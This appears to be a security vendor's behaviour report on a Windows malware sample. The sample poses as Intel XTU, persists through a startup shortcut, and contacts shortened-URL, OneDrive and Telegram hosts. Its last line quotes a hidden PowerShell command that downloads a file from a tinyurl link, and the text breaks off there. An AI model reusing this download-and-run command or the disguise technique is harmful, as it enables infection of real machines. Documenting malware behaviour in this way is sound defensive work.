Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %HOMEPATH%\start menu\programs\startup\intelxtu.lnk
Malicious functions
Downloads and executes files.
Modifies file system
Creates the following files
- %WINDIR%apps\intel\intelxtu\xtu\intelxtu.exe
- %WINDIR%apps\intel\intelxtu\definations.gprop
Network activity
TCP
- 'ti##url.com':443
- 'on####ve.live.com':443
- 'nm####.#y.files.1drv.com':443
- 'localhost':49175
- 'localhost':49177
- 'localhost':49178
- 'ap#.##legram.org':443
- 'localhost':49180
- 'localhost':49182
- 'localhost':49183
UDP
- DNS ASK ti##url.com
- DNS ASK on####ve.live.com
- DNS ASK nm####.#y.files.1drv.com
- DNS ASK ap#.##legram.org
Miscellaneous
Searches for the following windows
- ClassName: 'ConsoleWindowClass' WindowName: ''
Creates and executes the following
- '%WINDIR%apps\intel\intelxtu\xtu\intelxtu.exe'
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c powershell -windowstyle hidden "mkdir %WINDIR%Apps\Intel\IntelXTU\XTU; $a = New-Object System.Net.WebClient; $a.DownloadFile('https://tinyurl.com/okaytest11','%WINDIR%Apps\Intel\IntelXTU\XTU...
